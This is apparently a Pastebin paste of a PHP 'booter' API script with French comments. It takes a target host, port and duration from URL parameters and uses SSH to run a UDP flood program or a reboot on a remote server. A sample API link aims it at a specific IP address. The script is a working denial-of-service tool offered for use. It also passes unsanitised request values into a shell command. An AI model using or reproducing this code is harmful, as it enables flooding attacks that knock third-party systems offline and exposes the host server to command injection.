Advertisement
Guest User

Untitled

a guest
Nov 19th, 2016
71
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.41 KB | None | 0 0
  1. <?php
  2. ignore_user_abort(true);
  3. set_time_limit(0);
  4.  
  5. //debut de la config
  6. $server_ip = ""; //Changer avec l'IP de votre serveur
  7. $server_pass = ""; //Changer avec le mot de passe de votre serveur
  8. $server_user = ""; //Changer uniquement si vous n'avez pas accer au root
  9. //fin de la config
  10.  
  11. $host = $_GET['host'];
  12. $port = $_GET['port'];
  13. $time = $_GET['time'];
  14. $method = strtoupper($_GET['method']);
  15.  
  16. if ($method == "REBOOT") { $command = "reboot"; }
  17. if ($method == "UDP") { $command = "./testing ".$host." ".$port." list.txt 500 3 ".$time; }
  18.  
  19. if (!function_exists("ssh2_connect")) die("La fonction ssh2 n'est pas installez");
  20. if(!($con = ssh2_connect($server_ip, 22))){
  21. echo "PROBLEME DE CONNECTION";
  22. } else {
  23.  
  24. if(!ssh2_auth_password($con, $server_user, $server_pass)) {
  25. echo "Erreur ssh2: utilisateur ou mot de passe incorrecte";
  26. } else {
  27.  
  28. if (!($stream = ssh2_exec($con, $command ))) {
  29. echo "Impossible d'executée la commande";
  30. } else {
  31.  
  32. stream_set_blocking($stream, true);
  33. $data = "";
  34. while ($buf = fread($stream,4096)) {
  35. $data .= $buf;
  36. }
  37. echo "Flooding en cours sur {$host} avec le port {$port}, envoit de {$packets}-byte packets pour {$time} secondes";
  38. fclose($stream);
  39. }
  40. }
  41. }
  42.  
  43. // Lien api: http://37.59.97.23/api1.php?host=109.89.246.161&port=80&time=60&method=UDP
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement